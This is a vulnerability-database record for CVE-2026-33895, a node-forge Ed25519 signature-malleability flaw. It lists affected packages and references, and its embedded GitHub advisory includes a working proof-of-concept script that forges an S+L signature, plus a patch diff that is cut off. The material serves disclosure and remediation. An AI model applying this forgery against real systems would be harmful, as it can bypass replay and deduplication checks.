{"id":"CVE-2026-33895","aliases":["CLSA-2026-1775176134","CLSA-2026-1791467333","EUVD-2026-16835","GHSA-q67f-28xg-22rw","RHSA-2026:24761","UBUNTU-CVE-2026-33895"],"status":"published","title":"Forge has signature forgery in Ed25519 due to missing S \u003e L check","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00527,"percentile":0.44938,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-347"],"published":"2026-03-26T22:04:41Z","modified":"2026-10-28T02:30:53Z","fixes":[{"ecosystem":"npm","package":"node-forge","fixed_in":["1.4.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.10.0-tuxcare.0"},{"fixed":"0.10.0-tuxcare.6"}]}],"versions":["0.10.0","0.10.0-tuxcare.1","0.10.0-tuxcare.2","0.10.0-tuxcare.3","0.10.0-tuxcare.4","0.10.0-tuxcare.5"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.3-tuxcare.0"},{"fixed":"1.3.3-tuxcare.2"}]}],"versions":["1.3.3","1.3.3-tuxcare.1"],"bundled":3},{"source":"osv","ecosystem":"npm","package":"node-forge","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.0"}]}]},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-3.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-3.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.29-2.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.29-2.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-proxy-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.10-6.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-proxy-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.14-3.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.2.0-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.2.0-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.5~dfsg-2","0.9.1~dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.10.0~dfsg-3","1.2.1~dfsg-2"]}],"products":[{"vendor":"digitalbazaar","product":"forge"},{"vendor":"red hat","product":"cluster observability operator 1.5.0"},{"vendor":"red hat","product":"cryostat 4"},{"vendor":"red hat","product":"logging subsystem for red hat openshift"},{"vendor":"red hat","product":"red hat ansible automation platform 2"},{"vendor":"red hat","product":"red hat ansible automation platform 2.5 for rhel 8"},{"vendor":"red hat","product":"red hat ansible automation platform 2.5 for rhel 9"},{"vendor":"red hat","product":"red hat build of apache camel - hawtio 4"},{"vendor":"red hat","product":"red hat build of apicurio registry 2"},{"vendor":"red hat","product":"red hat build of podman desktop"},{"vendor":"red hat","product":"red hat data grid 8"},{"vendor":"red hat","product":"red hat developer hub 1.8"},{"vendor":"red hat","product":"red hat developer hub 1.9"},{"vendor":"red hat","product":"red hat enterprise linux 10"},{"vendor":"red hat","product":"red hat enterprise linux 8"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat fuse 7"},{"vendor":"red hat","product":"red hat process automation 7"},{"vendor":"red hat","product":"red hat quay 3"}],"references":[{"url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw","tags":["x_refsource_CONFIRM","exploit","Vendor Advisory","advisory","web","article","report"]},{"url":"https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85","tags":["x_refsource_MISC","Patch","fix","web","article","report"]},{"url":"https://datatracker.ietf.org/doc/html/rfc8032#section-8.4","tags":["x_refsource_MISC","Third Party Advisory","web","article","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33895","tags":["vdb-entry","x_refsource_REDHAT","advisory","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452457","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33895.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24761","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34342","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:9742","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13826","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-35961","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25793","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33895","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-q67f-28xg-22rw"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33895.json","tags":["advisory"]},{"url":"https://github.com/digitalbazaar/forge","tags":["package"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5#Upgrading","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2441268","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442922","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448553","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2451867","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452450","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452458","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452464","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456179","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456336","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456338","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456339","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456735","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456913","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458856","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2464121","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_24761.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-62718","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-62718","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62718","tags":["advisory"]},{"url":"https://datatracker.ietf.org/doc/html/rfc1034#section-3.1","tags":["article"]},{"url":"https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2","tags":["article"]},{"url":"https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df","tags":["article"]},{"url":"https://github.com/axios/axios/pull/10661","tags":["article"]},{"url":"https://github.com/axios/axios/releases/tag/v1.15.0","tags":["article"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-4926","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-4926","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4926","tags":["advisory"]},{"url":"https://cna.openjsf.org/security-advisories.html","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-7246","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-7246","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7246","tags":["advisory"]},{"url":"https://github.com/pallets/click/releases/tag/8.3.3","tags":["article"]},{"url":"https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-26996","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-26996","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26996","tags":["advisory"]},{"url":"https://github.com/isaacs/minimatch/commit/2e111f3a79abc00fa73110195de2c0f2351904f5","tags":["article"]},{"url":"https://github.com/isaacs/minimatch/security/advisories/GHSA-3ppc-4f35-3m26","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27904","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27904","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27904","tags":["advisory"]},{"url":"https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-30922","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-30922","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30922","tags":["advisory"]},{"url":"https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0","tags":["article"]},{"url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-32280","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-32280","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32280","tags":["advisory"]},{"url":"https://go.dev/cl/758320","tags":["article"]},{"url":"https://go.dev/issue/78282","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4947","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-32282","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-32282","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32282","tags":["advisory"]},{"url":"https://go.dev/cl/763761","tags":["article"]},{"url":"https://go.dev/issue/78293","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4864","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-32283","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-32283","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32283","tags":["advisory"]},{"url":"https://go.dev/cl/763767","tags":["article"]},{"url":"https://go.dev/issue/78334","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4870","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33891","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33891","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33891","tags":["advisory"]},{"url":"https://github.com/digitalbazaar/forge/commit/9bb8d67b99d17e4ebb5fd7596cd699e11f25d023","tags":["article"]},{"url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-5m6q-g25r-mvwx","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33894","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33894","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33894","tags":["advisory"]},{"url":"https://datatracker.ietf.org/doc/html/rfc2313#section-8","tags":["article"]},{"url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp","tags":["article"]},{"url":"https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE","tags":["article"]},{"url":"https://www.rfc-editor.org/rfc/rfc8017.html","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33895","tags":["advisory","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33896","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33896","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33896","tags":["advisory"]},{"url":"https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90","tags":["article"]},{"url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-39363","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-39363","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39363","tags":["advisory"]},{"url":"https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-39892","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-39892","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39892","tags":["advisory"]},{"url":"http://www.openwall.com/lists/oss-security/2026/04/08/12","tags":["article"]},{"url":"https://github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5","tags":["article"]},{"url":"https://github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-40192","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-40192","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40192","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow/commit/3cb854e8b2bab43f40e342e665f9340d861aa628","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/pull/9521","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-whj4-6x5x-4v2j","tags":["article"]},{"url":"https://pillow.readthedocs.io/en/stable/releasenotes/12.2.0.html#prevent-fits-decompression-bomb","tags":["article"]},{"url":"https://ubuntu.com/security/CVE-2026-33895","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-33895","title":"Forge has signature forgery in Ed25519 due to missing S \u003e L check","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T20:47:54.492Z","modified":"2026-09-04T12:04:49.718Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"adp"}],"cwes":["CWE-347","CWE-347"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-16835","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T20:47:54Z","modified":"2026-09-04T12:04:49Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T18:01:12.73639Z"}],"ghsa":[{"id":"GHSA-q67f-28xg-22rw","title":"Forge has signature forgery in Ed25519 due to missing S \u003e L check","description":"## Summary\nEd25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.\n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.\n\n**Configuration assumptions:**\n- Default forge Ed25519 verify API path (`ed25519.verify(...)`).\n\n\n## Root Cause\nIn `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature's last 32 bytes (`S`) directly in scalar multiplication:\n\n```javascript\nscalarbase(q, sm.subarray(32));\n```\n\nThere is no prior check enforcing `S \u003c L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.\n\n## Reproduction Steps\n- Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n- Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder.\n- The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`).\n- Confirm output includes:\n\n```json\n{\n\t\"forge\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": true\n\t},\n\t\"crypto\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": false\n\t}\n}\n```\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged (S + L) signature in one run.\n- Uses Node/OpenSSL as a differential verification baseline.\n- Observed output on tested commit:\n\n```text\n{\n    \"forge\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": true\n    },\n    \"crypto\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": false\n    }\n}\n```\n\n\u003cdetails\u003e\u003csummary\u003epoc.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n'use strict';\n\nconst path = require('path');\nconst crypto = require('crypto');\nconst forge = require('./forge');\nconst ed = forge.ed25519;\n\nconst MESSAGE = Buffer.from('dderpym is the coolest man alive!');\n\n// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).\nconst ED25519_ORDER_L = Buffer.from([\n  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,\n]);\n\n// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.\n// This returns a new signature with s := s + L (mod 2^256), plus the carry.\nfunction addLToS(signature) {\n  if (!Buffer.isBuffer(signature) || signature.length !== 64) {\n    throw new Error('signature must be a 64-byte Buffer');\n  }\n  const out = Buffer.from(signature);\n  let carry = 0;\n  for (let i = 0; i \u003c 32; i++) {\n    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.\n    const sum = out[idx] + ED25519_ORDER_L[i] + carry;\n    out[idx] = sum \u0026 0xff;\n    carry = sum \u003e\u003e 8;\n  }\n  return { sig: out, carry };\n}\n\nfunction toSpkiPem(publicKeyBytes) {\n  if (publicKeyBytes.length !== 32) {\n    throw new Error('publicKeyBytes must be 32 bytes');\n  }\n  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.\n  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);\n  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);\n  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);\n  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);\n  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\\n');\n  return `-----BEGIN PUBLIC KEY-----\\n${b64}\\n-----END PUBLIC KEY-----\\n`;\n}\n\nfunction verifyWithCrypto(publicKey, message, signature) {\n  try {\n    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));\n    const ok = crypto.verify(null, message, keyObject, signature);\n    return { ok };\n  } catch (error) {\n    return { ok: false, error: error.message };\n  }\n}\n\nfunction toResult(label, original, tweaked) {\n  return {\n    [label]: {\n      original_valid: original.ok,\n      tweaked_valid: tweaked.ok,\n    },\n  };\n}\n\nfunction main() {\n  const kp = ed.generateKeyPair();\n  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });\n  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });\n  const tweaked = addLToS(sig);\n  const okTweaked = ed.verify({\n    message: MESSAGE,\n    signature: tweaked.sig,\n    publicKey: kp.publicKey,\n  });\n  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);\n  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);\n  const result = {\n    ...toResult('forge', { ok }, { ok: okTweaked }),\n    ...toResult('crypto', cryptoOriginal, cryptoTweaked),\n  };\n  console.log(JSON.stringify(result, null, 2));\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\nAdd strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S \u003e= L`).\n\nHere is a patch we tested on our end to resolve the issue, though please verify it on your end:\n\n```diff\nindex f3e6faa..87eb709 100644\n--- a/lib/ed25519.js\n+++ b/lib/ed25519.js\n@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {\n     return -1;\n   }\n\n+  if(!_isCanonicalSignatureScalar(sm, 32)) {\n+    return -1;\n+  }\n+\n   for(i = 0; i \u003c n; ++i) {\n     m[i] = sm[i];\n   }\n@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {\n   return mlen;\n }\n\n+function _isCanonicalSignatureScalar(bytes, offset) {\n+  var i;\n+  // Compare little-endian scalar S against group order L and require S \u003c L.\n+  for(i = 31; i \u003e= 0; --i) {\n+    if(bytes[offset + i] \u003c L[i]) {\n+      return true;\n+    }\n+    if(bytes[offset + i] 